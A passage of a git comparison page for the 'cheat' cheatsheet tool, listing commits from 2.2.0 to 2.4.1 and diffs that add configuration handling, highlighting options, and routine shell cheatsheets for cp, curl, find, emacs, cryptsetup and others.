Compare commits

..

158 Commits
2.2.0 ... 2.4.1

Author SHA1 Message Date
9ea60d12ff Version-bump to 2.4.1
- Includes various bugfixes regarding UTF-8 encoding
- Adds new cheatsheets
2019-01-29 10:58:57 -05:00
f7d747e101 Merge pull request #417 from butzel-net/master
suggestion for socat
2019-01-29 10:22:44 -05:00
3b207b4d51 Merge branch 'dev' 2019-01-29 10:19:48 -05:00
5e1d3abce8 Merge pull request #416 from chrisallenlane/issue-414-build-opts
Issue #414 - snap package compatibility
2019-01-29 10:18:55 -05:00
ad25e16dc6 Merge pull request #415 from chrisallenlane/issue-372
Addressing issue #372
2019-01-29 10:15:55 -05:00
92c07c0137 Merge pull request #419 from chrisallenlane/issue-414-build-opts
Issue #414 - snap package compatibility
2019-01-27 14:50:37 -05:00
7e35263e90 Merge pull request #418 from chrisallenlane/issue-372
Addressing issue #372
2019-01-27 14:45:41 -05:00
1b6b5b79b7 Version bump: 2.4.0
Preparing a new `minor` release.
2019-01-27 14:36:57 -05:00
b377984b59 suggestion for socat
butzel's suggestions for a socat cheatsheet
2019-01-25 12:46:01 +01:00
e319332138 Issue #414 - snap package compatibility
PR #391 changed the locaton into which system-wide cheatsheets are
installed to `/usr/share/cheat`, in order to comply with FHS. However,
this is causing conflicts with the `snap` packaging process.

This commit removes hard-coded references to `/usr/share/cheat` (outside
of `config/cheat`), and instead reads the cheat path via the
`CHEAT_PATH` config value (which may be set either in `cheat/config`, or
exported as an environment variable).

Lastly, this commit makes `setup.py` "aware of" the `CHEAT_PATH` env
var, allowing us to specify to where sytem-wide cheatsheets should be
installed during the `snap` build.
2019-01-21 12:58:03 -05:00
13c0ea7525 Addressing issue #372
Previous pull-requests #406 and #413 attempted to resolve #372. They
were, however, never merged in.

Given that #391 was just merged (which rewrites a significant amount of
prior code), I here took what we learned from #406 and #413 and
re-implemented it. This approach will be less error-prone than
attempting to rebase either of the former on the changes introduced in
 #391.
2019-01-18 14:50:00 -05:00
87448c49fa Merge branch 'TomasKorbar-changes' 2019-01-18 14:28:06 -05:00
80b8cfc06b Add new env variables but hold compatibility with old ones
Legacy environmental variables like CHEATCOLORS are now higher in
configuration hiearchy than new environmental variables in
configuration files
2019-01-18 18:03:15 +01:00
8a8f30679d Fix problems with CHEATCOLORS behaviour 2019-01-17 17:10:01 +01:00
4d19505b79 Conform code to pep8 2019-01-15 19:38:24 +01:00
a2e028fd19 Move validation of CHEAT_HIGHLIGHT value to Configuration class
Method _check_configuration should be used for validating all bad
values from now on
2019-01-15 19:21:33 +01:00
5eec6bf040 Improve handling of settings
Constructors of classes which need direct access to configuration
now take Config class instance as parameter which will give them
better maintainability in the future

CHEAT_HIGHLIGHT has been added to Configuration class
2019-01-15 19:13:30 +01:00
3a4c2a887d Add ConfigurationTestCase
- tests prove descending hiearchy of config system
- env vars, local config file, global config file
2019-01-15 17:09:39 +01:00
879a58b721 Read env vars for global and local config path
- allows to change these paths for testing purposes and also
gives user option to change his config paths
2019-01-15 17:09:39 +01:00
7814de96d2 Add classes for better readability 2019-01-15 17:09:39 +01:00
a651426075 Add reading settings from configuration file 2019-01-15 17:09:35 +01:00
c4c935a6a5 Change default location of cheatsheets 2019-01-15 16:48:07 +01:00
df86142b8e Merge pull request #411 from chrisallenlane/snap-cheatsheet
Created a `snap` cheatsheet
2019-01-11 17:19:08 -05:00
60b05c8781 Created a snap cheatsheet 2019-01-11 17:18:02 -05:00
22b64d2d08 Merge branch 'master' of https://github.com/liuyang1/cheat into liuyang1-master
Resolving merge-conflicts.
2019-01-11 17:00:39 -05:00
1224908445 README edits
Updated the README to mention the new `CHEAT_HIGHLIGHT` environment
variable.
2019-01-11 16:36:17 -05:00
28a2902e20 Implemented validation on CHEAT_HIGHLIGHT
Implemnted an assertion that `CHEAT_HIGHLIGHT` (if set) contains a value
that is acceptible to `termcolors`. This happens only once, upon the
invokation of `__main__`. If the assertion fails, `cheat` terminates
with an exit code of `1`.
2019-01-11 16:26:57 -05:00
730c488854 Introduced CHEAT_HIGHLIGHT
Introduced CHEAT_HIGHLIGHT environment variable to de-couple search-term
highlighting from syntax highlighting.
2019-01-11 16:13:38 -05:00
ba9051e3cd highlight bug-fix
Fixed a bug in `cheat/utils.py` that would cause `highlight` to return
the wrong value when `CHEATCOLORS` was not set.
2019-01-11 15:58:21 -05:00
7c7278ac8b Util logic simplification
- Simplified the logic regarding checking the state of `CHEATCOLORS` in
  `cheat/utils.py`

- Improved the commenting within the same
2019-01-11 15:54:20 -05:00
e1fdca231e Merged #353 with changes
PR #353 implemented highlighting on search terms within search results.
This PR:

- Merges the above
- Makes a few modifications upon the implementation

Specifically, the new implementation no longer relies on hard-coded
escape-sequences. Instead, a new `highlight` function has been created,
which in turn attempts to defer to the `termcolors` library to colorize
the necessary text.
2019-01-11 15:46:54 -05:00
6b796adaf7 README edit
Edited the addition regarding Pygments.
2019-01-11 15:13:41 -05:00
95843e4674 Updating dependencies to highlighting 2019-01-11 15:10:39 -05:00
2b58300d84 Merge pull request #404 from gorshkov/master
Fix url in curl cheatsheet
2019-01-11 14:20:18 -05:00
bf1be86fb9 Merge pull request #402 from FlorianKempenich/master
Add cheatsheet for `scd`
2019-01-11 14:19:22 -05:00
35c4a8d639 Merge pull request #403 from sundar-raman/master
Disable colorized output when CHEATCOLORS is not "true", or not set
2019-01-11 14:13:21 -05:00
6910adae90 Merge branch 'master' of github.com:chrisallenlane/cheat 2019-01-11 14:05:55 -05:00
b47b4bc1d1 Modified .gitignore
Added `.env` to the list of ignored files.
2019-01-11 14:05:38 -05:00
ea7e71b002 Merge pull request #407 from idarlund/patch-2
Update ssh
2019-01-11 14:04:11 -05:00
d576eef13b Merge pull request #408 from idarlund/patch-3
Update scp
2019-01-11 14:03:31 -05:00
bec516b30a Merge pull request #409 from hutchison/master
Fixed a typo.
2019-01-11 14:02:39 -05:00
f0b3f8037b Fixed a typo. 2019-01-09 15:47:49 +01:00
3938032595 Update scp
scp over socks
2019-01-08 08:24:16 +01:00
f35cfa084e Update ssh
added ssh over socks tunnel
2019-01-08 08:19:09 +01:00
cdb22f310d Fix url in curl cheatsheet 2018-12-19 21:11:54 +07:00
6d1eff16a1 Disable colorized output when CHEATCOLORS is not "true", or not set 2018-11-11 13:04:51 +08:00
9241de04d6 Update formatting to adhere to the guideline. 2018-10-25 11:37:39 +01:00
8ac1851a69 Add cheatsheet for scd
`scd` is a fantastic `oh-my-zsh` plugin to quickly jump between directories.
See here: https://github.com/robbyrussell/oh-my-zsh/tree/master/plugins/scd
2018-10-25 11:34:25 +01:00
cccf37c284 Bumped the patch version number 2018-10-16 10:45:09 -04:00
15f70c2cc3 Merge pull request #401 from tculp/case-insensitive-search
Added a .lower() call to line when searching
2018-10-16 10:43:30 -04:00
cebe3de389 Update sheets.py
Added a missing .lower() to the line
2018-10-15 12:21:52 -04:00
8ec51d3194 v2.3.0
Version-bump to `v2.3.0`.
2018-10-15 10:51:11 -04:00
500dbbbd4a Merge pull request #399 from tculp/case-insensitive-search
Changed search behavior to lower the search term and the lines being …
2018-10-15 10:44:57 -04:00
66ebae4ed5 Merge pull request #398 from ticky/patch-1
Add `tee /dev/tty` mid-pipeline example to tee
2018-10-09 11:22:43 -04:00
5a83a22888 Merge pull request #400 from dufferzafar/patch-1
Update pacman: command to view top recently installed packages
2018-10-09 11:19:47 -04:00
62a2bf3c2d Update pacman 2018-10-01 12:34:46 +05:30
4b6dc22c0a Changed search behavior to lower the search term and the lines being searched, thus providing case-insensitive search 2018-09-20 13:53:22 -04:00
cd46559250 Add tee /dev/tty mid-pipeline example to tee 2018-09-19 17:53:19 -07:00
03fb44159a Merge pull request #394 from davidrea/patch-1
Add strikethrough to formatting
2018-09-17 09:33:35 -04:00
f0bd3ba4e6 Merge pull request #393 from mirekfranc/for-loop-extended
for: add few more for examples, the last two are probably bash specific
2018-09-17 09:32:48 -04:00
72f8c88394 Merge pull request #395 from eterps/patch-1
Added insert/add line examples
2018-09-17 09:31:43 -04:00
2fcc808e63 Added insert/add line examples
Added insert/add line examples.
2018-09-11 09:22:21 +02:00
4aef22f457 Add strikethrough to formatting
(this is the one I always forget!)
2018-09-04 10:13:55 -04:00
146b671412 add few more for examples, the last two are probably bash specific 2018-09-03 15:54:56 +02:00
feab7a9706 Merge pull request #387 from idarlund/patch-1
Update rsync
2018-08-20 12:40:36 -04:00
a5b0132b08 Merge pull request #385 from dsalaj/master
Add cheatsheet slurm
2018-08-20 12:21:10 -04:00
ce1f4a099c Merge pull request #386 from navarroaxel/lsblk
Add cheatsheet for lsblk
2018-08-20 12:16:34 -04:00
0e84cae79e Merge pull request #374 from bu6hunt3r/devel
Added sheet for r2 disassembler/debugger/hex editor
2018-08-20 12:14:16 -04:00
93180c3852 Merge pull request #375 from shigemk2/zip
Added one more zip cheat
2018-08-20 11:50:27 -04:00
795bcaffcb Merge branch 'master' of https://github.com/gigovich/cheat into gigovich-master 2018-08-20 11:40:34 -04:00
d6f12c4397 Merge pull request #373 from kevinawoo/patch-1
new cheat for mv: moving many files into a dir
2018-08-20 11:37:14 -04:00
8ccc8bd546 Merge pull request #388 from pondrejk/patch-1
minor typo in nmcli command name
2018-08-20 10:48:43 -04:00
c29a3dfdc1 Merge pull request #368 from cedric-dufour/master
New Sheet Added: ZFS (on Linux)
2018-08-20 10:45:46 -04:00
7e94f1e0ba Changed mutt cheatsheet 2018-08-16 09:50:47 +02:00
ff1227bca8 minor typo in command name 2018-07-24 10:05:25 +02:00
b0aa272b49 Add cheatsheet for lsblk 2018-07-12 07:03:34 -03:00
130cf1d830 Update rsync
added rsync over ssh cheat
2018-07-11 14:56:55 +02:00
f93ca8f7ce Add cheatsheet slurm 2018-07-04 23:04:18 +02:00
c0fe871b33 fix except case
- when redirect stdout to pipe but not tty, it throw exception.
- when have no content, it throw exception.
- remove reductant newline at end of file
2018-06-13 18:58:37 +08:00
b210fbca5f Changed r2 cheatsheet 2018-06-05 16:25:39 +02:00
45c0dad364 Changed r2 cheatsheet 2018-05-22 09:37:17 +02:00
544d11aebc Add nmcli import example. Fix typos in nmcli add command. 2018-03-12 13:17:22 +03:00
51f7a42ece Started mutt mail client ch-sh 2018-03-09 18:26:10 +01:00
cd6826d5d4 Added one more zip cheat 2018-03-08 20:39:41 +09:00
c09f0b0c6c Added sheet for r2 disassembler/debugger/hex editor 2018-03-04 20:30:27 +01:00
3fe72a03cc new cheat for mv: moving many files into a dir 2018-02-04 18:57:25 -08:00
0c0d924df6 New Sheet Added: ZFS (on Linux) 2017-12-24 16:33:37 +01:00
aa1e12625e Version bump to 2.2.3. 2017-12-19 12:42:07 -05:00
d09353bfca Merge pull request #363 from shigemk2/shigemk2-patch-1
Add cheatsheet perl
2017-12-19 12:38:25 -05:00
81e80c87a1 Merge pull request #358 from byxor/emacs
Add cheat for running emacs in terminal
2017-12-19 12:37:04 -05:00
3d498d5ce7 Merge pull request #354 from rognan/add-cheat-for-youtube-dl-extract-audio
Add cheat for downloading audio with youtube-dl
2017-12-19 12:35:11 -05:00
d90d509702 Merge pull request #365 from shigemk2/check_function_mysql
Add cheatsheet for mysql
2017-12-19 12:34:05 -05:00
b46f5b2c34 Merge pull request #359 from Dgc2002/master
Adds cheatsheet for rcs
2017-12-19 12:33:01 -05:00
e2d63e7603 Minor edits to #357 2017-12-19 12:29:52 -05:00
67f52f8317 Merge branch 'patch-1' of https://github.com/zrongh90/cheat into zrongh90-patch-1 2017-12-19 12:29:26 -05:00
67134b9240 Merge pull request #360 from nitsnatsnok/patch-1
sizes and typo corrected
2017-12-19 12:27:29 -05:00
c67adb1422 Minor edits to #367. 2017-12-19 12:25:40 -05:00
c2aa5e0148 Merge branch 'master' of https://github.com/Sim4n6/cheat into Sim4n6-master 2017-12-19 12:24:19 -05:00
332f0bd4ee Merge pull request #364 from navjotjsingh/master
Cheatsheet for cd
2017-12-19 12:21:37 -05:00
b303bc0028 added support for Got-Your-Back for backup from Gmail 2017-12-14 15:38:08 +00:00
02f79ddd13 Merge pull request #1 from chrisallenlane/master
learning amigo
2017-12-14 16:09:24 +01:00
71680c6586 Add cheatsheet for mysql
check stored procedure or stored function in mysql
2017-11-28 22:12:20 +09:00
a240413eb9 Merge pull request #1 from navjotjsingh/navjotjsingh-patch-cd
Cheatsheet for cd
2017-11-27 11:53:39 +05:30
cde64e3ea4 Cheatsheet for cd 2017-11-27 11:52:05 +05:30
0b0bc441c6 Add cheatsheet perl 2017-11-20 21:20:22 +09:00
2aa37432cb Merge pull request #356 from shigemk2/xargs-no-run-if-empty
Add cheatsheet for xargs --no-run-if-empty
2017-11-19 08:13:07 -05:00
89de3705b0 Merge pull request #355 from shigemk2/curl-only-status-code
Add cheatsheet for cp backup file with date
2017-11-19 08:11:35 -05:00
d12718b8c4 cp edit
Appended missing newline to end of `cp` cheatsheet.
2017-11-19 08:09:37 -05:00
900e083b99 Merge branch 'cp-backup' of git://github.com/shigemk2/cheat into shigemk2-cp-backup 2017-11-19 08:07:10 -05:00
837e0b5b71 sizes and typo corrected
`-size +20000k` actually matches files bigger than 20,000*1,024=20,480,000 Bytes, not 20,000,000 Bytes as in “2 Megabytes”.
2017-11-12 00:50:30 +01:00
30d2a77a6c Adds cheatsheet for rcs 2017-11-02 11:53:08 -05:00
1a8cdf84f4 Add instructions for running emacs in terminal 2017-11-01 16:16:49 +00:00
181403e7ac create iconv
add new iconv for code convert
2017-10-31 16:00:16 +08:00
2c10955690 Add cheatsheet for xargs --no-run-if-empty 2017-10-27 00:12:36 +09:00
4319b8e699 Add curl cheatsheet: Get only the HTTP status code
curl -o /dev/null -w '%{http_code}\n' -s -I URL
2017-10-24 22:23:36 +09:00
57dff86a44 Add cheat for downloading audio with youtube-dl 2017-10-13 14:37:07 +02:00
761bf2eb2f hightlight the search keywords 2017-10-12 09:25:20 +08:00
aa4f6daf77 Add cheatsheet for cp backup file with date 2017-10-04 23:47:33 +09:00
d7272c50c4 v2.2.2
Added new cheatsheets.
2017-09-16 23:15:15 -04:00
cdf573a725 Merge pull request #318 from shanahanjrs/new-misc-cheatsheets
Created cheatsheets for alias, cat, cp, export, kill, mv, pwd, and wc
2017-09-16 23:01:08 -04:00
eb6dfaad39 Merge pull request #350 from iamatacos/patch-1
Update dd
2017-09-16 22:58:17 -04:00
f8d2ce516e Update dd
There is a small error in this sample :

**bs=BYTES** --> read and write up to BYTES bytes at a time

**count=N** --> copy only N input blocks

just inverse please
2017-09-16 22:04:10 +01:00
e5bf9146fe Fixed cheat sheets to conform to the standard style more closely 2017-09-12 23:11:38 -04:00
d6dc39c687 v2.2.1
Version bump to 2.2.1. (Release contains new default cheatsheets.)
2017-09-05 14:23:10 -04:00
fb5ec798fa CONTRIBUTING.md
Made minor additions to the `CONTRIBUTING.md` file.
2017-09-05 13:48:06 -04:00
866eb68d64 emacs cheatsheet
Minor whitespace edits on the emacs cheatsheet.
2017-09-05 13:26:23 -04:00
e17f60e4d5 Deleted accidental file
Deleted a file that seems to have been created accidentally. (It
contained nothing useful.)
2017-09-05 13:20:36 -04:00
ed2ef113f0 Merge branch 'emacs' of git://github.com/ndebuhr/cheat into ndebuhr-emacs 2017-09-05 13:19:19 -04:00
432379d1e6 Merge pull request #336 from yafp/master
Adding a first version of a pkill cheatsheet
2017-09-04 20:06:23 -04:00
7089bef7cc Merge pull request #337 from VHarisop/pip_latest
Updated pip sheet with upgrade for newer versions
2017-09-04 20:04:25 -04:00
aa57371819 Trivial whitespace changes to pgrep cheatsheet. 2017-09-04 20:01:25 -04:00
921db35400 Merge branch 'pgrep' of git://github.com/shigemk2/cheat into shigemk2-pgrep 2017-09-04 20:00:38 -04:00
852db958a4 Merge branch 'develop' 2017-09-04 19:57:28 -04:00
d58bbba1f8 Merge pull request #333 from npit/master
Update emacs cheatsheet
2017-09-04 19:55:33 -04:00
e5ffcf65e4 Merge pull request #328 from fpob/master
Add zsh cheatsheet
2017-09-04 19:54:49 -04:00
d59ac66f1c Merge pull request #340 from Asta1986/postgres
added psql commands
2017-09-04 19:52:54 -04:00
f4f8592933 Merge pull request #344 from Daoctor/master
fix crontab command
2017-09-04 19:50:45 -04:00
c540a600b2 Merge pull request #343 from Mic92/patch-13
openssl: add fingerprint method
2017-09-04 19:47:49 -04:00
9224216581 Merge pull request #330 from shigemk2/curl-ip
Get your global IP with curl
2017-09-04 19:45:15 -04:00
2da5c2b710 Merge pull request #327 from Mic92/patch-12
add cryptsetup cheatsheat
2017-09-04 19:41:03 -04:00
e468f8d0a0 Merge pull request #323 from henrikq/patch-1
Add install to Cheatsheet/deb
2017-09-04 19:39:58 -04:00
cdee0e44cd Merge pull request #324 from dypublic/tar-add-destination-1
Update tar
2017-09-04 19:38:41 -04:00
efcd687070 fix crontab command 2017-08-30 00:15:53 +08:00
ae309c7dc4 openssl: add fingerprint method 2017-07-30 09:26:56 +01:00
86ba22e7b8 +html output 2017-06-30 21:34:32 -03:00
2a6ec9cef5 added psql commands 2017-06-29 20:23:47 -03:00
2d59026b0d Add f option 2017-06-10 01:43:11 +09:00
bcb0d71dd3 Updated pip sheet with an upgrade option for newer versions 2017-06-02 13:09:48 +03:00
d1526ede16 Adding a first version of a pkill cheatsheet 2017-06-01 21:31:27 +02:00
374d381c00 Update emacs 2017-05-28 23:46:22 +03:00
1f3f9828c3 Add pgrep cheatsheat 2017-05-15 23:14:30 +09:00
5d3f89924c Get your global IP with curl 2017-05-15 23:08:21 +09:00
74808845a5 Add zsh cheatsheet 2017-04-07 14:41:10 +02:00
517bf9599b add cryptsetup cheatsheat 2017-04-04 09:05:49 +02:00
7716827dfc Minor fixes and additions to emacs 2017-03-12 10:19:47 -04:00
c65fde1b3a Update tar
Add extract a .tar in specified Directory
2017-03-09 18:50:36 +08:00
bb3c4105cb Add install to Cheatsheet/deb 2017-03-07 09:50:37 +01:00
aa9403d432 Created cheatsheets for alias, cat, cp, export, kill, mv, pwd, and wc 2017-02-12 22:11:45 -05:00
62 changed files with 2148 additions and 211 deletions

1
.gitignore vendored
View File

@ -1,4 +1,5 @@
*.pyc *.pyc
.env
MANIFEST MANIFEST
build build
cheat.egg-info cheat.egg-info

View File

@ -1,7 +1,8 @@
Contributing Contributing
============ ============
If you would like to contribute cheetsheets or program functionality, please If you would like to contribute cheetsheets or program functionality, please
fork this repository, make your changes, and submit a pull request. fork this repository, make your changes, and submit a pull request against the
`master` branch.
## Python standards ## ## Python standards ##
@ -22,4 +23,7 @@ tar -cvf /path/to/foo.tar /path/to/foo/
tar -xzvf /path/to/foo.tgz tar -xzvf /path/to/foo.tgz
``` ```
If you are submitting a cheatsheet that contains side-by-side columns of text,
please align the columns using spaces rather than tabs.
[PEP 8]: http://legacy.python.org/dev/peps/pep-0008/ [PEP 8]: http://legacy.python.org/dev/peps/pep-0008/

View File

@ -109,13 +109,16 @@ export CHEATPATH="$CHEATPATH:/path/to/more/cheats"
You may view which directories are on your `CHEATPATH` with `cheat -d`. You may view which directories are on your `CHEATPATH` with `cheat -d`.
### Enabling Syntax Highlighting ### ### Enabling Syntax Highlighting ###
`cheat` can optionally apply syntax highlighting to your cheatsheets. To enable `cheat` can optionally apply syntax highlighting to your cheatsheets. To
syntax highlighting, export a `CHEATCOLORS` environment variable: enable syntax highlighting, export a `CHEATCOLORS` environment variable:
```sh ```sh
export CHEATCOLORS=true export CHEATCOLORS=true
``` ```
Note that [pygments][] must be installed on your system for this to work.
#### Specifying a Syntax Highlighter #### #### Specifying a Syntax Highlighter ####
You may manually specify which syntax highlighter to use for each cheatsheet by You may manually specify which syntax highlighter to use for each cheatsheet by
wrapping the sheet's contents in a [Github-Flavored Markdown code-fence][gfm]. wrapping the sheet's contents in a [Github-Flavored Markdown code-fence][gfm].
@ -134,6 +137,23 @@ WHERE id = 100
If no syntax highlighter is specified, the `bash` highlighter will be used by If no syntax highlighter is specified, the `bash` highlighter will be used by
default. default.
### Enabling Search Match Highlighting ###
`cheat` can optionally be configured to highlight search term matches in search
results. To do so, export a `CHEAT_HIGHLIGHT` environment variable with a value
of one of the following:
- blue
- cyan
- green
- grey
- magenta
- red
- white
- yellow
Note that the `termcolor` module must be installed on your system for this to
work.
See Also: See Also:
--------- ---------
@ -145,4 +165,5 @@ See Also:
[dotfiles]: http://dotfiles.github.io/ [dotfiles]: http://dotfiles.github.io/
[gfm]: https://help.github.com/articles/creating-and-highlighting-code-blocks/ [gfm]: https://help.github.com/articles/creating-and-highlighting-code-blocks/
[installing]: https://github.com/chrisallenlane/cheat/wiki/Installing [installing]: https://github.com/chrisallenlane/cheat/wiki/Installing
[pygments]: http://pygments.org/
[related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects [related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects

View File

@ -35,14 +35,24 @@ Examples:
""" """
# require the dependencies # require the dependencies
from cheat import sheets, sheet from __future__ import print_function
from cheat.utils import colorize from cheat.sheets import Sheets
from cheat.sheet import Sheet
from cheat.utils import Utils
from cheat.configuration import Configuration
from docopt import docopt from docopt import docopt
import os
if __name__ == '__main__': if __name__ == '__main__':
# parse the command-line options # parse the command-line options
options = docopt(__doc__, version='cheat 2.2.0') options = docopt(__doc__, version='cheat 2.4.1')
config = Configuration()
sheets = Sheets(config)
utils = Utils(config)
sheet = Sheet(sheets, utils)
# list directories # list directories
if options['--directories']: if options['--directories']:
@ -50,7 +60,7 @@ if __name__ == '__main__':
# list cheatsheets # list cheatsheets
elif options['--list']: elif options['--list']:
print(sheets.list()) print(sheets.list(), end="")
# create/edit cheatsheet # create/edit cheatsheet
elif options['--edit']: elif options['--edit']:
@ -58,8 +68,8 @@ if __name__ == '__main__':
# search among the cheatsheets # search among the cheatsheets
elif options['--search']: elif options['--search']:
print(colorize(sheets.search(options['<keyword>']))) print(utils.colorize(sheets.search(options['<keyword>'])), end="")
# print the cheatsheet # print the cheatsheet
else: else:
print(colorize(sheet.read(options['<cheatsheet>']))) print(utils.colorize(sheet.read(options['<cheatsheet>'])), end="")

View File

@ -1,3 +1,4 @@
from . import sheet from . import sheet
from . import sheets from . import sheets
from . import utils from . import utils
from . import configuration

View File

@ -1,4 +0,0 @@
import os
def sheets_dir():
return os.path.split(__file__)

5
cheat/cheatsheets/alias Normal file
View File

@ -0,0 +1,5 @@
# Show a list of your current shell aliases
alias
# Map `ll` to `ls -l` (Can be used per session or put inside a shell config file)
alias ll='ls -l'

8
cheat/cheatsheets/cat Normal file
View File

@ -0,0 +1,8 @@
# Display the contents of a file
cat /path/to/foo
# Display contents with line numbers
cat -n /path/to/foo
# Display contents with line numbers (blank lines excluded)
cat -b /path/to/foo

11
cheat/cheatsheets/cd Normal file
View File

@ -0,0 +1,11 @@
#Go to the given directory
cd path/to/directory
#Go to home directory of current user
cd
#Go up to the parent of the current directory
cd ..
#Go to the previously chosen directory
cd -

View File

@ -15,5 +15,5 @@ convert original-image.jpg -resize 100x converted-image.png
for file in `ls original/image/path/`; for file in `ls original/image/path/`;
do new_path=${file%.*}; do new_path=${file%.*};
new_file=`basename $new_path`; new_file=`basename $new_path`;
convert $file -resize 150 conerted/image/path/$new_file.png; convert $file -resize 150 converted/image/path/$new_file.png;
done done

11
cheat/cheatsheets/cp Normal file
View File

@ -0,0 +1,11 @@
# Create a copy of a file
cp ~/Desktop/foo.txt ~/Downloads/foo.txt
# Create a copy of a directory
cp -r ~/Desktop/cruise_pics/ ~/Pictures/
# Create a copy but ask to overwrite if the destination file already exists
cp -i ~/Desktop/foo.txt ~/Documents/foo.txt
# Create a backup file with date
cp foo.txt{,."$(date +%Y%m%d-%H%M%S)"}

View File

@ -16,7 +16,7 @@ SHELL=/bin/bash
*/15 * * * * /home/user/command.sh */15 * * * * /home/user/command.sh
# every midnight # every midnight
* 0 * * * /home/user/command.sh 0 0 * * * /home/user/command.sh
# every Saturday at 8:05 AM # every Saturday at 8:05 AM
5 8 * * 6 /home/user/command.sh 5 8 * * 6 /home/user/command.sh

View File

@ -0,0 +1,8 @@
# open encrypted partition /dev/sdb1 (reachable at /dev/mapper/backup)
cryptsetup open --type luks /dev/sdb1 backup
# open encrypted partition /dev/sdb1 using a keyfile (reachable at /dev/mapper/hdd)
cryptsetup open --type luks --key-file hdd.key /dev/sdb1 hdd
# close luks container at /dev/mapper/hdd
cryptsetup close hdd

View File

@ -29,7 +29,13 @@ curl -C - -o partial_file.zip http://example.com/file.zip
curl -I http://example.com curl -I http://example.com
# Fetch your external IP and network info as JSON # Fetch your external IP and network info as JSON
curl http://ifconfig.me/all/json curl http://ifconfig.me/all.json
# Limit the rate of a download # Limit the rate of a download
curl --limit-rate 1000B -O http://path.to.the/file curl --limit-rate 1000B -O http://path.to.the/file
# Get your global IP
curl httpbin.org/ip
# Get only the HTTP status code
curl -o /dev/null -w '%{http_code}\n' -s -I URL

View File

@ -1,7 +1,7 @@
# Read from {/dev/urandom} 2*512 Bytes and put it into {/tmp/test.txt} # Read from {/dev/urandom} 2*512 Bytes and put it into {/tmp/test.txt}
# Note: At the first iteration, we read 512 Bytes. # Note: At the first iteration, we read 512 Bytes.
# Note: At the second iteration, we read 512 Bytes. # Note: At the second iteration, we read 512 Bytes.
dd if=/dev/urandom of=/tmp/test.txt count=512 bs=2 dd if=/dev/urandom of=/tmp/test.txt count=2 bs=512
# Watch the progress of 'dd' # Watch the progress of 'dd'
dd if=/dev/zero of=/dev/null bs=4KB &; export dd_pid=`pgrep '^dd'`; while [[ -d /proc/$dd_pid ]]; do kill -USR1 $dd_pid && sleep 1 && clear; done dd if=/dev/zero of=/dev/null bs=4KB &; export dd_pid=`pgrep '^dd'`; while [[ -d /proc/$dd_pid ]]; do kill -USR1 $dd_pid && sleep 1 && clear; done

View File

@ -1,3 +1,7 @@
# Extract contents of a .deb file # Extract contents of a .deb file
$ ar vx foo.deb # -> data.tar.gz $ ar vx foo.deb # -> data.tar.gz
$ tar xf data.tar.gz $ tar xf data.tar.gz
# Install .deb file to a debian like system, e.g. ubuntu
$ sudo dpkg -i foo.deb
$ sudo apt-get install -f

View File

@ -1,12 +1,19 @@
# Running emacs
GUI mode $ emacs
Terminal mode $ emacs -nw
# Basic usage # Basic usage
Indent Select text then press TAB Indent Select text then press TAB
Cut CTRL-w Cut CTRL-w
Copy ALT-w Copy ALT-w
Paste ("yank") CTRL-y Paste ("yank") CTRL-y
Begin selection CTRL-SPACE
Search/Find CTRL-s Search/Find CTRL-s
Replace ALT-% (ALT-SHIFT-5) Replace ALT-% (ALT-SHIFT-5)
Save CTRL-x CTRL-s Save CTRL-x CTRL-s
Save as CTRL-x CTRL-w
Load/Open CTRL-x CTRL-f Load/Open CTRL-x CTRL-f
Undo CTRL-x u Undo CTRL-x u
Highlight all text CTRL-x h Highlight all text CTRL-x h
@ -23,11 +30,21 @@
Split screen horizontally with 24 column width CTRL-u 24 CTRL-x 3 Split screen horizontally with 24 column width CTRL-u 24 CTRL-x 3
Revert to single screen CTRL-x 1 Revert to single screen CTRL-x 1
Hide the current screen CTRL-x 0 Hide the current screen CTRL-x 0
Kill the current screen CTRL-x k Move to the next screen CTRL-x o
Move to the next buffer CTRL-x O Kill the current buffer CTRL-x k
Select a buffer CTRL-x b Select a buffer CTRL-x b
Run command in the scratch buffer CTRL-x CTRL-e Run command in the scratch buffer CTRL-x CTRL-e
# Navigation ( backward / forward )
Character-wise CTRL-b , CTRL-f
Word-wise ALT-b , ALT-f
Line-wise CTRL-p , CTRL-n
Sentence-wise ALT-a , ALT-e
Paragraph-wise ALT-{ , ALT-}
Function-wise CTRL-ALT-a , CTRL-ALT-e
Line beginning / end CTRL-a , CTRL-e
# Other stuff # Other stuff
Open a shell ALT-x eshell Open a shell ALT-x eshell

5
cheat/cheatsheets/export Normal file
View File

@ -0,0 +1,5 @@
# Calling export with no arguments will show current shell attributes
export
# Create new environment variable
export VARNAME="value"

View File

@ -19,11 +19,11 @@ find ./path/ -name '*.txt' -exec rm '{}' \;
# To find files with extension '.txt' and look for a string into them: # To find files with extension '.txt' and look for a string into them:
find ./path/ -name '*.txt' | xargs grep 'string' find ./path/ -name '*.txt' | xargs grep 'string'
# To find files with size bigger than 5 Mb and sort them by size: # To find files with size bigger than 5 Mebibyte and sort them by size:
find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z
# To find files bigger thank 2 MB and list them: # To find files bigger than 2 Megabyte and list them:
find . -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
# To find files modified more than 7 days ago and list file information # To find files modified more than 7 days ago and list file information
find . -type f -mtime +7d -ls find . -type f -mtime +7d -ls

View File

@ -10,8 +10,26 @@ do
echo $var echo $var
done done
# loop over all the JPG files in the current directory
for jpg_file in *.jpg
do
echo $jpg_file
done
# loop specified number of times # loop specified number of times
for i in `seq 1 10` for i in `seq 1 10`
do do
echo $i echo $i
done done
# loop specified number of times: the C/C++ style
for ((i=1;i<=10;++i))
do
echo $i
done
# loop specified number of times: the brace expansion
for i in {1..10}
do
echo $i
done

12
cheat/cheatsheets/gyb Normal file
View File

@ -0,0 +1,12 @@
# To estimate the number and the size of all mails on youremail@gmail.com
gyb --email youremail@gmail.com --action estimate
# To backup from youremail@gmail.com to your local-folder
gyb --email youremail@gmail.com --action backup --local-folder "~/MyLocalFolder/"
# To backup from youremail@gmail.com only important or starred emails to the
# default local folder GYB-GMail-Backup-youremail@gmail.com
gyb --email youremail@gmail.com --search "is:important OR is:starred"
# To restore from your local-folder to youremail@gmail.com
gyb --email youremail@gmail.com --action restore --local-folder "~/MyLocalFolder/"

3
cheat/cheatsheets/iconv Normal file
View File

@ -0,0 +1,3 @@
